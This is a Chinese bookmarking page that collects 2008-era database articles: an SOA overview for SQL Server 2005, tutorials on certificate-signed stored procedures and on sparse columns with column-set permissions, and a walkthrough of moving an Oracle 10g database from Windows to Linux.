Tag/
共2451个网摘 [
1 2 3 4 5 6 7 8 ...
82 ]
上一页 |
下一页 |
xuejinyoulan收录,使用标签:数据库,时间:2008-7-30 11:16:44 | 相关网摘,我也收藏
出处:博客园
作为微软新一代企业级应用平台旗舰产品之一的SQL Server 2005,有太多的精彩值得我们关注。而SOA(面向服务的架构),对于新一代面向同步和异步应用的、基于以因特网平台为主的请求/响应模式的分布式计算来说,无疑是一场革命。数据库,作为基于面向服务的数据库架构(SODA)构建分布式架构的一个战略组成部分之一,举足轻重。本系列文章中,我们将试图剖析SODA背后的相关概念,并进而观察微软如何以其力图“撼动未来”的SQL Server 2005适应这种新型架构。
一、SOA架构的出现
当我们把上世纪九十年代占主流的客户机-服务器和N层应用程序架构用于开发今天大规模的因特网电子商务站点时,这些方案遇到了严重的问题—可伸缩性和可用性。其中一个主要的问题就是,数据越来越倾向于存储在一个大规模、高度集中的数据库中,而且所有客户端组件都可以对之实现直接访问。此时,几乎所有与这些数据库相关的通信都是以SQL语句(或存在于一个存储过程中的批语句)形式执行的;于是,客户端将接收到一个特定于要解决的任务的数据集合。
而今,当我们试图把“遗留”系统加入到较新的应用程序中时,又遇到了其它的问题。在经过多年来使用各种专利性技术和平台发布大范围的系统后,整个世界可谓“遍布”这种能够较好地实现“自身”工作的系统;但是,这些系统却往往缺乏清晰的思路来实现与其它应用程序的交互—悉知,如今的连接环境正变得越来越方便。因此,实现今天的应用程序所要求的灵活性已经变得相当困难。B2B(业务到业务)应用甚至于使得事情进一步复杂化,因为这要求必须满足特定的标准并使用可靠的方法来实现业务传输的电子化。非常明显,满足今天全球业务环境需要的不断演变的系统都要求实现某种新架构,这种架构必须能够高效地使用“遗留”系统并能提供一个灵活的商业基础框架。
为了满足这些需要,最近三到五年间已经出现了一种“新的”大规模、松耦合、分布式的系统架构,特别是作为因特网电子商务站点已经成长为其主要的商业运作模式。面向服务的架构(SOA)已经开始作为主流的松耦合、以服务为中心的架构出现。事实证明,基于SOA的应用程序更能经得起失败,并且更为容易地按比例调整规模—通过使用多种方法添加必要的资源来满足不断发展的要求;而且,它们也允许把“遗留”系统轻松地集成到现有B2B及其它系统中。
二、 面向服务架构对数据的要求
在一个SOA应用程序中,SOA服务提供者、服务消费者及其它组件都会将数据处理作为其自身角色的一个“自然”的特征。典型情况下,一个SOA应用程序仍然使用中央数据库来存储和保护数据;但是,也有可能使用许多这种大型的数据库来存储各类数据—例如单独存储的销售、生产和操作数据以及每一部分中的特定数据子集等。每个服务提供者和消费者都可能需要对数据或其自己特定的数据存储进行本地缓冲。此外,跨越应用程序的远距离部分传输的消息本身常常就是一些值得加以存档而备以后使用的数据。
根据数据在系统中的特征,我们可以按下列四种方式对之进行划分:
①引用数据—用于创建服务请求(例如一个产品目录)。它必须是以一种为所有部分可用的格式存在,而且以一种恒定不变的方式(例如一个目录日期)加以标识。
②活动数据—是短暂的数据,用于执行一个特定的活动,例如一个产品列表(用于从库存中检索购买项)。既然它是私有于服务的,所以该格式不需要被其它模块所理解。
③资源数据—是一种长期存在的数据。这种数据为一个服务(例如顾客数据和帐户数据)内部使用。
④服务交互数据—用于服务间的通讯。这必须是以一种为所有部分都能理解的格式进行,并且必须长期保持不变。例如,在服务之间以一个订单表单形式进行通讯。如果该订单被丢失,那么它必须能够被以与以前相同的形式重新生成并且被再次转换。
下图1展示了一些可能构成一个松耦合的应用程序(基于SOA原则进行构建)的端点。其中的服务消费者可能代表一个客户端应用程序;而一个服务器应用程序(例如一个Web服务器),或者是任何其它类型的应用程序,将把消息发送给一个服务提供者。在复杂的系统中,可能通过一个消息路由器最初接收消息,然后应用特定的逻辑把该请求路由到适当的服务提供者。然后,该服务提供者接收此消息并加以处理—解包并重新格式化它,执行任何要求实现的工作,最后可能把一个响应发送回服务消费者。
图1.一个面向服务构架应用程序局部示意图。
上图1中向我们提供了一个重要的细节—事务中的每一个结点都在以各种形式接收、存储和传输数据。有时这些数据是“短暂”的,而有时每个结点可能会把数据存储到一个缓存或其自己的本地数据库中。
基于在一个应用程序中的这些新的数据处理方式,如今,处于SOA应用程序核心位置的数据库面临着一些与以往N层应用程序不同的挑战。但是,数据一致性仍然同以往一样重要;不过,现在又出现了其它的要求:
1.数据库操作处于一种新的环境—数据请求经由基于XML的消息而不是通过专用连接方式进行;
2.缓冲数据仓库部分需要了解何时刷新数据更为有效,而不是根据某个固定时间表实现刷新;
3.数据库不得不参与以一种固定顺序发生的“对话”;
4. 存在复杂的逻辑必须宿主在数据库中(或宿主在这些数据库附近)。
今天,XML成为一种应用于新一代分布式系统的良好的消息格式。这种格式能够为几乎任何系统容易地分析并通过某种模式建模语言来定义这些数据的适当结构。于是,交换消息的系统可以把信息依附到一条XML消息中;结果,当这些消息“流经”系统时,数据将“汇集”于消息中。系统只需分析和处理它们能够理解的部分而忽略掉其它内容。简言之,设计XML的目的是为了作为一种灵活的格式来支持分布式系统。
微软的架构师们正是看到了这种结构化趋势,及时地推出了新一代SQL Server 2005以满足这种新的挑战;而同时,SQL Server 2005仍能继续支持许多现有的非SOA应用程序。本文中,我们将全面探讨如何在一个使用SQL Server 2005的SOA应用程序中应用本地Web服务存取,数据库改变通知,Service Broker以及SQLXML等技术。
【阅读提示】本文将略去介绍SOA的基本知识,同时也没有概括SQL Server 2005所有新的特征,而是假定你已经熟悉这些内容。
三、 SQL SERVER 2005适应SOA数据要求
随着我们对SOA概念的不断深入,有一个问题越来越明晰:组成整个系统的每一个组件都会把接收、处理与传送数据作为自身的主要功能之一。即使一个服务提供者对于一条发送自某个服务消费者的消息的响应只是简单地进行“位”设置(置为“on”或“off”)而根本不必与一个数据库交互,此提供者也必须处理该消息中的数据以便确定相应的任务。事实上,现代商业应用程序通常会广泛地与数据打交道;所以,对于一个SOA组件来说,常常会存取一个本地的或集中的数据库,或经常二者兼有。
SQL Server 2005提供了一组新的特征来进一步方便集成化结构化设计—支持把数据库作为一个SOA服务提供者使用。微软SQL Server 开发小组称这组新的特征为“面向服务的数据库架构”(或简称为“SODA”)。
直接在数据库引擎中实现SOA特征存在如下重要理由:
调整系统规模。即使在最大的企业SOA应用程序中,单个服务也可能按几乎任何规模被实例化;一个使用不太频繁的服务有可能具有比一个典型的小型部门数据库更少的活动。与SQL SERVER集成到一起意味着,一个服务程序可以利用所有的本地支持来适应从嵌入式设备到最为丰富的企业数据库服务器,而不必改进管理复杂性。服务逻辑代码可以在任何规模下执行,而任何实现都可以在发布时刻被调整到一个单独的中间层中。借助于SQL SERVER 2005,服务逻辑可以在数据层上运行或者被发布到中间层中。如果你仔细地设计一个应用程序,那么你会注意到,如何调整的问题将会是一种发布决策而不是一项设计或开发时刻决策。
按比例调整。你可以通过许多方式来按比例调整以数据中心的计算,通常以按比例调整数据库或通过使用面向服务的架构的方式来分布这些处理。按比例调整数据库将会导致一个数据库簇—而它是紧耦合的;而相比之下,面向服务的方案导致更为松弛的耦合度。直接通过数据库支持SOA的构建有助于减少在一个真正的网格方案中的组件处理问题。
消息作为数据。各种请求和响应消息都成为一些“有趣”的数据—把它们存档到一个数据库中可能有重大价值。保持这些消息长时间可用则为我们提供了一种历史数据,从而便利了以后的审计和事务分析。因为消息存储在表格中并且有系统目录视图可用,所以你可以很容易地使用Transact-SQL来观察任何系统部分的状态。
在SQL SERVER中实现SOA特征存在大量的优点。也只有这样,它才有理由充当一个SOA应用程序中的一个独立的服务提供者。为此,它必须能够实现类似一个服务提供者的行为。
对于SQL Server 2005(或任何数据库引擎)来说,要承担起作为一个独立的SOA服务程序的角色,它必须实现若干超出其本地数据处理能力的特征:
端点(End Point)支持。SODA提供者必须提供通信支持以接收和传输消息。典型情况下,这可以通过一个TCP套接字,HTTP GET或PUT,SOAP端点,或其它类型的端点实现。
过程服务请求。大多数SOA消息要使用XML方式加以格式化;因此,服务提供者必须能够处理并且可能要把打包的数据转换成其它形式以满足组成服务的组件的需要。它还必须能够参与复杂的对话和会话—而它们将作为相互依赖的消息由其它组件接收或发送到这些组件。
服务逻辑宿主。提供者必须能够执行要求的任何复杂程度的逻辑来处理消息并提供必要的响应,而且还可以协调若干其它服务的输入;而这可能要求普通的应用程序服务器任务,例如对资源进行“池”存储,激活,以及按规模调整处理逻辑。
SQL SERVER 2005中的各种新特征为这些功能提供了支持;此外,还提供了其它基础性结构来支持数据管理。例如,一个服务提供者必须安全地加入到一个SOA系统中,并且能够对客户端实现认证,而且提供凭证来实现对其它实体的认证,提供持久性,参与会话和事务及其它应用程序级特征。
SQL Server 2005建立在SQL Server 2000关系数据库引擎特征之上,以及自从它的最初发行版本以来所开发的新技术(例如SQLXML 3.0,通知服务以及其它工具),从而全面实现了面向服务的数据库架构。
四、小结
本篇中,我们仅粗略地分析了SOA出现的缘由及其对数据存储的新要求,并进而简要概括了SQL Server 2005对这种新式数据要求所提供的支持。在下篇中,我们将展开SQL Server 2005对SOA架构支持的全面探讨。
http://database.ctocio.com.cn/analysis/53/8236553.shtml
xuejinyoulan收录,使用标签:数据库,时间:2008-7-30 11:13:01 | 相关网摘,我也收藏
出处:blog
SQL SERVER 2005提供的对存储过程签名(signature)功能是我最喜欢的。
如果我们要编写一个存储过程,执行该存储过程里的代码需要权限P,并且我们想要用户Alice可以执行这个存储过程,但是我们不想将权限P直接赋予给用户Alice, 我们可以用证书(certificate)对这个存储过程进行签名来完成这一需求:
a) 如果P是一个数据库级别的权限,那我们可以在相应的数据库中创建一个证书,使用证书创建一个用户(user),然后将权限p授权给这个用户
b) 如果P是一个服务器级别的权限,那我们能要在master数据库中创建一个证书,使用证书创建一个登录(login),然后将权限P授权给这个登录
签名之后,存储过程就会在执行期间获得权限P,而我们仅仅授予了Alice执行这个存储过程的权限。
如果我们既需要服务器级别的权限,又需要数据库级别的权限,那么我们既要创建用户,又要创建登录。下面列出步骤:
1) 在数据库中创建证书
2) 创建一个用户(user)并映射到这个证书
3) 将数据库级别的权限授予这个用户
4) 备份这个证书
5) 在master数据库中还原这个证书
6) 创建一个登录(login),并将登录映射到证书
7) 将服务器级别的权限授予给这个登录
我们也可以先在master数据库中创建证书,然后再将其还原到用户alice工作的数据库。也就是证书的创建顺序并不重要,重要的是master数据库中的证书一定要和用户数据库中的相同。
下面是演示:
-- 目的
-- 展示如何用证书签名一个存储过程,
--并授予证书相应的权限
create database demo;
use demo;
com/Images/OutliningIndicators/None.gif" width=11 align=top>-- 创建一个存储过程,该过程会创建一个主体(包含登录和用户)
-- 这需要服务器级别的ALTER ANY LOGIN 权限
-- 和数据库级别的 ALTER ANY USER 权限
create procedure sp_CreatePrincipal
@name varchar(256),
@password varchar(128)
as
declare @sqlcmd varchar(2000);
begin tran;
-- create login
set @sqlcmd = 'create login ' + quotename(@name) + ' with password = ' + quotename(@password, '''');
exec (@sqlcmd);
if @@error <> 0
begin
rollback tran;
print 'Cannot create login'
return;
end
-- create user
set @sqlcmd = 'create user ' + quotename(@name);
exec (@sqlcmd);
if @@error <> 0
begin
rollback tran;
print 'Cannot create user'
return;
end
commit tran;
go
-- 调用这个存储过程
-- 创建主体
sp_CreatePrincipal 'alice', 'Apufe@))%';
--我们需要让alice可以调用这个存储过程,创建新的主体,
-- 但并不直接授予她权限(创建主体的权限,译者注)
grant execute on sp_CreatePrincipal to alice;
-- 目前 alice还不能创建主体
execute as login = 'alice';
sp_CreatePrincipal 'bob', 'Apufe@))%';
revert;
-- 使用证书对存储过程进行签名
-- 首先我们要创建一个数据库主密钥(database master key)
create master key encryption by password = 'Apufe@))%'; create certificate certSignCreatePrincipal with subject = 'for signing procedure sp_CreatePrincipal';
-- 签名存储过程sp_CreatePrincipal
add signature to sp_CreatePrincipal by certificate certSignCreatePrincipal;
-- 现在签名完成了,可以将证书的私钥移除了
alter certificate certSignCreatePrincipal remove private key;
-- 对证书进行备份,随后在master数据库中将要使用该备份
backup certificate certSignCreatePrincipal to file = 'certSignCreatePrincipal.cer';
-- 创建一个用户并将用户映射到证书
create user u_certSignCreatePrincipal from certificate certSignCreatePrincipal;
--通过授权映射映射的方式将ALTER ANY USER权限赋给证书 (因为用户和证书是映射的,所以权限也就赋给了证书,SQLSERVER本身没有直接将权限赋给证书的方法。译者注)
grant alter any user to u_certSignCreatePrincipal;
-- 在master数据库中创建该证书
use master; create certificate certSignCreatePrincipal from file = 'certSignCreatePrincipal.cer';
-- 创建登录并映射到证书
create login l_certSignCreatePrincipal from certificate certSignCreatePrincipal;
-- 通过授权映射登录的方式将ALTER ANY LOGIN权限赋给证书
grant alter any login to l_certSignCreatePrincipal;
-- 完成!
use demo;
-- 验证一下,master数据库中的证书和demo数据库中的证书是一样的。
select c.name from sys.certificates c, master.sys.certificates mc where c.thumbprint = mc.thumbprint;
-- 现在alice可以创建主体了
execute as login = 'alice';
sp_CreatePrincipal 'bob', 'Apufe@))%';
revert;
-- cleanup
drop user u_certSignCreatePrincipal;
drop login l_certSignCreatePrincipal;
drop procedure sp_CreatePrincipal;
drop certificate certSignCreatePrincipal;
drop user alice;
drop login alice;
drop user bob;
drop login bob;
use master;
drop certificate certSignCreatePrincipal;
drop database demo;
-- EOD
http://database.ctocio.com.cn/tips/254/8238754.shtml
xuejinyoulan收录,使用标签:数据库,时间:2008-7-30 11:02:14 | 相关网摘,我也收藏
出处:IT专家网
尽管存储的成本已经很低了,但是我们仍然需要考虑使用多种技术(例如压缩和存档)来节省空间。当你思考怎样节省空间时,你第一个想到的是文件系统,但是空间节省也可以用在数据库。当我们创建一个数据库时,我们确保数据文件具有合适的大小和增长速度。我们定期分析我们的数据库规模并执行缩小操作。我们可能执行这些任务用于不同的目的,但是有一个方面是相同的,这些任务帮助我们确保我们的数据库具有最佳的存储。Microsoft SQL Server为我们提供了用于降低数据库所用空间的各种技术。SQL Server 2008推出了一个用于定位可为空字段的技术,它为可为空字段提供了最佳的存储。在SQL Server 2008中的这个新特性就是稀疏列。这篇文章不会讲述很多关于稀疏列的特性,它介绍了具有列集的稀疏列的使用,以及在使用它们时你需要了解和考虑的事情。
这篇文章描述:
什么是稀疏列?
什么是列集?
在一个列集中插入和更新数据。
使用触发器跟踪变更。
对列集实施安全。
什么是稀疏列?
稀疏列是一个普通字段,就像其它字段一样,但是它降低了对空值的存储要求。一个可为空字段可以在表创建或修改时添加SPARSE关键字来成为稀疏列。如果一个列是稀疏列,那么SQL Server不会为空值分配空间。注意,在使用这个特性时它会增加对非空值数据提取的花费。因此你需要计算可以节省的空间来仔细地对字段应用这个特性。推荐只在空间至少可以节省20%至40%时使字段成为稀疏列。BLO提供了一个包含字段中每个数据类型所需空值百分比的表,以便使这些字段成为稀疏列。
什么是列集?
列集是一个显示所有稀疏列的字段,它作为一个XML类型的字段添加到表中。它不是物理上存在于这个表中的,它只像是一个计算出来的字段,但是它允许你对它进行修改。推荐你只在有很多稀疏列时使用列集,因为如果使用了列集而不是使用各个稀疏列,那么它会加快修改和提取。
下面的代码显示了为一个表创建一个列集的方法。
代码1:创建一个具有稀疏列和一个列集的表。
CREATE TABLE [dbo].[Customers]
(
[Id] int PRIMARY KEY,
[FirstName] varchar(50) NOT NULL,
[LastName] varchar(50) NOT NULL,
[Gender] bit SPARSE NULL, -- 1 = male, 2 = female
[Telephone] varchar(15) SPARSE NULL,
[MonthlyIncome] money SPARSE NULL,
[Comments] varchar(1000) SPARSE NULL
[AllSparseColumns] xml COLUMN_SET FOR ALL_SPARSE_COLUMNS
我为所有可为空字段添加了SPARSE关键字,但是如同我前面提到的,应该在使它们成为稀疏列之前分析空值所占百分比。注意,当你创建这个表时你需要添加这个字段。SQL Server 不允许你没有稀疏列的情况下拥有列集字段。之后添加为稀疏列的字段可以使用添加的列集,看下面的代码:
代码2:创建具有一个列集的表,不使任何字段成为稀疏列。
-- adding column set without sparse columns
CREATE TABLE [dbo].[Customers_1]
(
[Id] int PRIMARY KEY,
[FirstName] varchar(50) NOT NULL,
[LastName] varchar(50) NOT NULL,
[Gender] bit NULL, -- 1 = male, 2 = female
[Telephone] varchar(15) NULL,
[MonthlyIncome] money NULL,
[Comments] varchar(1000) NULL,
[AllSparseColumns] xml COLUMN_SET FOR ALL_SPARSE_COLUMNS
)
-- inserting a record
INSERT INTO dbo.Customers_1
([Id], [FirstName], [LastName], [Gender], [Telephone], [MonthlyIncome], [Comments])
VALUES
(1, 'Dinesh', 'Priyankara', 1, '777395871', 20000, 'no comments')
-- this returns null
SELECT AllSparseColumns FROM dbo.Customers_1
-- Make the Gender column as a sparse column
ALTER TABLE [dbo].[Customers_1]
ALTER COLUMN [Gender] bit SPARSE NULL
GO
-- Make the Telephone column as a sparse column
ALTER TABLE [dbo].[Customers_1]
ALTER COLUMN [Telephone] varchar(15) SPARSE NULL
-- Now it returns values of sparse columns as a xml
SELECT AllSparseColumns FROM dbo.Customers_1
在一个列集中插入和更新数据
可以对稀疏列插入记录而不使用列集,但是一旦插入了,那么记录就可以使用列集来获得。
代码1:对列集插入一个记录而不插入任何值。
-- Insert a record to the table.
INSERT INTO dbo.Customers
([Id], [FirstName], [LastName], [Gender], [Telephone], [MonthlyIncome], [Comments])
VALUES
(1, 'Dinesh', 'Priyankara', 1, '777395871', 20000, 'no comments')
-- Retrieve the record and see
SELECT [Id], [FirstName], [LastName], [Gender], [Telephone], [MonthlyIncome], [Comments], [AllSparseColumns] FROM dbo.Customers
/*
Result:
177739587120000.0000no comments
*/
可以使用这个列集来插入和更新记录。代码2显示了通过列集来插入一个记录和更新一个记录的方法。
代码2:插入和更新这个列集。
-- Inserting a new record. Note that the statement uses the column set to
-- insert values for Comments and Telephone columns
INSERT INTO dbo.Customers
([Id], [FirstName], [LastName], [AllSparseColumns])
VALUES
(3, 'Yeshan', 'Santhush', 'No comments777225656')
-- Update the record.
-- This makes Comments column NULL because xml string does not contain a node for Comments column.
-- This updates the Telephone column with the new value.
UPDATE dbo.Customers
SET [AllSparseColumns] = '7774546321'
WHERE Id = 3
使用触发器跟踪变更
这是一个小技巧。一般我们使用UPDATE()函数来查看一个特定列是否更新了。如果你在一个与具有稀疏列和列集的表所关联的触发器中执行了它,那么UPDATE()函数返回的值不会是你所预期的。下面的代码测试了这一点。
代码1:对Customers表创建一个UPDATE触发器。
-- Creating a update trigger on Customers table.
CREATE TRIGGER tr_Customers_Update ON dbo.Customers
FOR UPDATE
AS
BEGIN
IF UPDATE(Gender)
print 'Gender column updated.'
IF UPDATE(Telephone)
print 'Telephone column updated.'
IF UPDATE(Comments)
print 'Comments column updated.'
IF UPDATE(AllSparseColumns)
print 'AllSparseColumns column updated.'
END
当你显式更新列集时,UPDATE()函数对这个列集返回true。不只这样,写给所有稀疏列的UPDATE()函数都返回true。当一个稀疏列被显式更新时,UPDATE()函数对稀疏列和列集返回true。
代码2:在触发器中更新这个表,并测试UPDATE()函数。
-- Update the column set.
-- This update makes all UPDATE() functions
-- to return true.
UPDATE dbo.Customers
SET [AllSparseColumns] = '4455'
WHERE Id = 3
/*
Result:
Gender column updated.
Telephone column updated.
Comments column updated.
AllSparseColumns column updated.
(1 row(s) affected)
*/
-- Update the Gender column.
-- This update makes UPDATE() function of
-- Gender column and column set to return true.
UPDATE dbo.Customers
SET Gender = 1
WHERE Id = 3
/*
Result:
Gender column updated.
AllSparseColumns column updated.
(1 row(s) affected)
*/
如果你为INSERT 语句写了相同的触发器,那么你将看到INSERT操作出现相同的行为。当对一个稀疏列插入一个值并且你使得其它为NULL时,UPDATE()函数对稀疏列和列集返回true。当对列集插入值时,UPDATE()函数对列集和所有稀疏列返回true。
对列集实施安全
对列集实施安全就像对其它字段实施安全一样,但是稀疏列的权限可能会影响从列集获取数据。让我们做些测试。
首先,让我们授予对所有稀疏列的SELECT权限,并试图从列集获取数据。你需要有一个用于这个测试的单独账户。如果你没有额外的账户,那么创建一个登录和一个用户为User1。让我们使用User1权限来试着获取数据。
代码1:使用User1的帐户获取和更新数据。
--Set the execution context to the user User1
EXECUTE AS USER = 'User1'
-- select statement 1
SELECT Gender, Telephone, MonthlyIncome, Comments FROM Customers
-- select statement 2
SELECT AllSparseColumns FROM Customers
-- select statement 3
UPDATE dbo.Customers
SET Gender = 1
WHERE Id = 3
-- select statement 4
UPDATE dbo.Customers
SET [AllSparseColumns] = '777225656Test msg1'
WHERE Id = 3
REVERT
代码2:将稀疏列的SELECT权限授予User1并执行代码1。
-- Grant select permission to all sparse columns
GRANT SELECT (Gender, Telephone, MonthlyIncome, Comments) ON OBJECT::dbo.Customers TO User1
-- Execute the code 1:
-- select statement 1 - will success
-- select statement 2 - will fail
-- select statement 3 - will fail
-- select statement 4 - will fail
-- Remove SELECT permission from User1
REVOKE SELECT (Id, Gender, Telephone, MonthlyIncome, Comments) ON OBJECT::dbo.Customers TO User1
尽管我们授予了对所有稀疏列的SELECT权限,但是用户却不能从列集获取数据。它要求显式的SELECT权限。但是如果我们授予稀疏列上的SELECT和UPDATE权限,User1就将可以访问这个列集。但是User1不能更新这个列集。
代码3:授予稀疏列上的SELECT和UPDATE权限给User1并执行代码1。
-- Grant select permission to all sparse columns
GRANT SELECT, UPDATE (Gender, Telephone, MonthlyIncome, Comments) ON OBJECT::dbo.Customers TO User1
-- Execute the code 1
-- select statement 1 - will success
-- select statement 2 - will success
-- update statement 3 - will success
-- update statement 4 - will fail
-- Remove SELECT, and UPDATE permissions from User1
REVOKE SELECT, UPDATE (Id, Gender, Telephone, MonthlyIncome, Comments) ON OBJECT::dbo.Customers TO User1
现在让我们授予对列集的SELECT权限,并尝试访问稀疏列。
代码4授予列集上的SELECT权限给User1并执行代码1。
-- Grant select permission to the column set
GRANT SELECT (AllSparseColumns) ON OBJECT::dbo.Customers TO User1
-- Execute the code 1
-- select statement 1 - will fail
-- select statement 2 - will success
-- update statement 3 - will fail
-- update statement 4 - will fail
-- Remove SELECT permission from User1
REVOKE SELECT (AllSparseColumnss) ON OBJECT::dbo.Customers TO User1
就像代码3中的代码一样,如果我们授予对列集的SELECT和UPDATE权限给User1,那么SELECT语句2将会成功。此外,User1将可以对列集执行UPDATE语句,但不能对稀疏列执行UPDATE语句。看下面的代码5。
代码5:授予对列集的SELECT和UPDATE权限给User1并执行代码1。
-- Grant select and update permissions to the column set
GRANT SELECT, UPDATE (AllSparseColumns) ON OBJECT::dbo.Customers TO User1
-- Execute the code 1
-- select statement 1 - will success
-- select statement 2 - will success
-- update statement 3 - will fail
-- update statement 4 - will success
-- Remove SELECT and UPDATE permission from User1
REVOKE SELECT, UPDATE (AllSparseColumnss) ON OBJECT::dbo.Customers TO User1
现在让我们测试DENY权限是怎样传播的。让我们授予对稀疏列的SELECT权限并拒绝对列集SELECT的权限。正如你所预料的,User1将可以访问所有的稀疏列,但不能访问列集。拒绝对列集SELECT的权限不会影响稀疏列。
代码6:授予对稀疏列SELECT的权限并拒绝列集的SELECT权限给User1并执行代码1。
-- Grant SELECT permission on sparse columns
GRANT SELECT (Id, Gender, Telephone, MonthlyIncome, Comments) ON OBJECT::dbo.Customers TO User1
-- Deny SELECT permission on the column set
DENY SELECT (AllSparseColumns) ON OBJECT::dbo.Customers TO User1
-- Execute the code 1
-- select statement 1 - will success
-- select statement 2 - will fail
-- update statement 3 - will fail
-- update statement 4 - will fail
REVOKE ALL ON OBJECT::dbo.Customers TO User1
GO
但是当对稀疏列SELECT的权限被拒绝时,它会传播到列集。看代码7。User1将不能访问到列集,即使我们授予了列集上的SELECT权限。
代码7拒绝对稀疏列SELECT的权限并授予对列集SELECT的权限给User1并执行代码1。
-- Deny SELECT permission on sparse columns
DENY SELECT (Id, Gender, Telephone, MonthlyIncome, Comments) ON OBJECT::dbo.Customers TO User1
-- Grant SELECT permission on the column set
GRANT SELECT (AllSparseColumns) ON OBJECT::dbo.Customers TO User1
-- Execute the code 1
-- select statement 1 - will fail
-- select statement 2 - will fail
-- update statement 3 - will fail
-- update statement 4 - will fail
REVOKE ALL ON OBJECT::dbo.Customers TO User1
GO
http://database.ctocio.com.cn/tips/361/8239861.shtml
xuejinyoulan收录,使用标签:数据库,时间:2008-7-30 10:49:52 | 相关网摘,我也收藏
出处:blog
最近学习了一下Oracle数据库启动原理,于是,就把在Windows创建起来做测试的数据库。
移植到Linux下使用,前几天把Linux移植到Windows成功,但Windows移植到Linux碰到问题会多,
Windows下不区分大小写,但在Linux是区分的,这点务必请大家注意,下面让我们一起去这过程吧!
还是和上面讲的一样,我直接通过文件复制,把原来在Windows下使用的数据库移植到linux下,
而不需要通过其他工具。
虽然此移植在实际生产用途不大,但对一个刚Oracle来说,确实能从中学到很多东西, 所以写下此文以供参考:
系统环境:linux 下是32 位平台,linux内存,CPU等硬件条件和windows是一样。
如果硬件条件不一至,下面讲的数据迁移可能会碰到其他问题。
软件环境:linux平台和windows平台装的oracle软件版本是
Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
都是以企业版安装。
如果两边版本不一至,还没有实验过。
我粗略讲一下过程,把windows下的数据文件,控制文件,重做日志组文件,
参数文件,复到到linux下,然后把参数文件里的控制文件改成linux目录
下结构,同时使数据重新生成控制文件。详细步骤如下:
linux平台下的数据库配制如下
数据库是以文件系统管理
实例名:orcl
数据库名:orcl
ORACLE_BASE=/u01/app/oracle/
ORACLE_HOME=/u01/app/oracle/product/10.2.0/db_1
数据库文件存放位置:/u02/oradata/orcl
windows平台下的数据库配制如下
数据库是以文件系统管理
实例名:orcl
数据库名:orcl 由于数据库是从windows文件直接复制过来,所以数据库名是不能更改的
ORACLE_BASE=D:\oracle
ORACLE_HOME=D:\oracle\product\10.2.0\db_1
ORACLE_SID=orcl
数据库文件存放位置:D:\oracle\oradata\orcl
步骤如下:
--登录到windows下数据库
c:\>sqlplus / as sysdba
SQL*Plus: Release 10.2.0.1.0 - Production on 星期二 7月 1 14:53:23 2008
Copyright (c) 1982, 2005, Oracle. All rights reserved.
连接到:
Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Production
With the Partitioning, OLAP and Data Mining options
--创建参数pfile文件
SQL> create pfile='initorcl.ora' from spfile;
文件已创建。
--关毕数据库
SQL> shutdown immediate;
数据库已经关闭。
已经卸载数据库。
ORACLE 例程已经关闭。
linux平台如输入如下创建文件夹
mkdir -o /u02/oradata/orcl
复制参数文件,控制文件,数据文件,重做日志组文件到linux平台下的目录,
我这里是在linux开了一个samba服务,然后把/u02/oradata/orcl文件夹共享
也可以在linux开个FTP,通过FTP把文件传到linux机器上
windows平台数据文件,,重做日志组文件和控制文件放在 D:\oracle\oradata\orcl
linux平台下的数据文件 /u02/oradata/orcl
linux平台下的实例参数文件window平台下的 D:\oracle\product\10.2.0\db_1\database\initorcl.ora
复制到linux平台下的目录
/u01/app/oracle/product/10.2.0/db_1/dbs/initorcl.ora
注意这里的文件名,linux下文件名是区分大小写的,所以把全部改成小写的
以下是linux平台输入如下命令来创建文件夹:
mkdir -p /u01/app/oracle/admin/orcl/adump
mkdir -p /u01/app/oracle/admin/orcl/bdump
mkdir -p /u01/app/oracle/admin/orcl/cdump
mkdir -p /u01/app/oracle/admin/orcl/dpdump
mkdir -p /u01/app/oracle/admin/orcl/pfile
mkdir -p /u01/app/oracle/admin/orcl/udump
如果/u01/app/oracle/flash_recovery_area也不存在,也创建
mkdir -p /u01/app/oracle/flash_recovery_area
设计环境变量
set ORACLE_SID=linux
或者更改oracle用户下的.bash_profile文件
ORACLE_SID=orcl; export ORACLE_SID
把ORACLE_SID改成orcl
用vi打开文件/u01/app/oracle/product/10.2.0/db_1/dbs/initorcl.ora
把windows下的目录结构改成linux下的目录结构。
注意下,在linux下文件名和文件夹都是区分大小写的,请确保下面参数实际文件名大小写一至,否则就起动不了数据库。
下面文件是我的参数文件信息。供参考:
orcl.__db_cache_size=75497472
orcl.__java_pool_size=4194304
orcl.__large_pool_size=4194304
orcl.__shared_pool_size=75497472
orcl.__streams_pool_size=4194304
*.audit_file_dest='/u01/app/oracle/admin/orcl/adump'
*.audit_trail='DB'
*.background_dump_dest='/u01/app/oracle/admin/orcl/bdump'
*.compatible='10.2.0.1.0'
*.control_files='/u02/oradata/orcl/CONTROL01.CTL','/u02/oradata/orcl/CONTROL02.CTL','/u02/oradata/orcl/CONTROL03.CTL'
*.core_dump_dest='/u01/app/oracle/admin/orcl/cdump'
*.db_block_size=8192
*.db_domain=''
*.db_file_multiblock_read_count=16
*.db_name='orcl'
*.db_recovery_file_dest='/u01/app/oracle/flash_recovery_area'
*.db_recovery_file_dest_size=2147483648
*.dispatchers='(PROTOCOL=TCP) (SERVICE=orclXDB)'
*.job_queue_processes=10
*.open_cursors=300
*.pga_aggregate_target=16777216
*.processes=150
*.remote_login_passwordfile='EXCLUSIVE'
*.sga_target=167772160
*.undo_management='AUTO'
*.undo_tablespace='UNDOTBS1'
*.user_dump_dest='/u01/app/oracle/admin/orcl/udump'
创建密码文件
orapwd file=/u01/app/oracle/product/10.2.0/db_1/dbs/orapworcl password=
linux下登录数据库
[oracle@localhost ~]$ sqlplus / as sysdba
SQL*Plus: Release 10.2.0.1.0 - Production on Mon Jul 7 13:24:38 2008
Copyright (c) 1982, 2005, Oracle. All rights reserved.
Connected to an idle instance.
SQL>
--启动到mount下
SQL> startup mount pfile=/u01/app/oracle/product/10.2.0/db_1/dbs/initorcl.ora;
ORACLE instance started.
Total System Global Area 167772160 bytes
Fixed Size 1218316 bytes
Variable Size 88082676 bytes
Database Buffers 75497472 bytes
Redo Buffers 2973696 bytes
Database mounted.
--创建一个spfile文件,下次以spfile文件启动
SQL> create spfile='spfileorcl.ora' from pfile;
File created.
下次启时候直接以spfile文件启动
--做一个把控制文件的内容生成到跟踪文件命令,这一部很重要,生成到跟踪文件里的就是重创控制文件的命令。
SQL> alter database backup controlfile to trace;
Database altered.
--关闭数据库
SQL> shutdown immediate;
ORA-01109: database not open
Database dismounted.
ORACLE instance shut down.
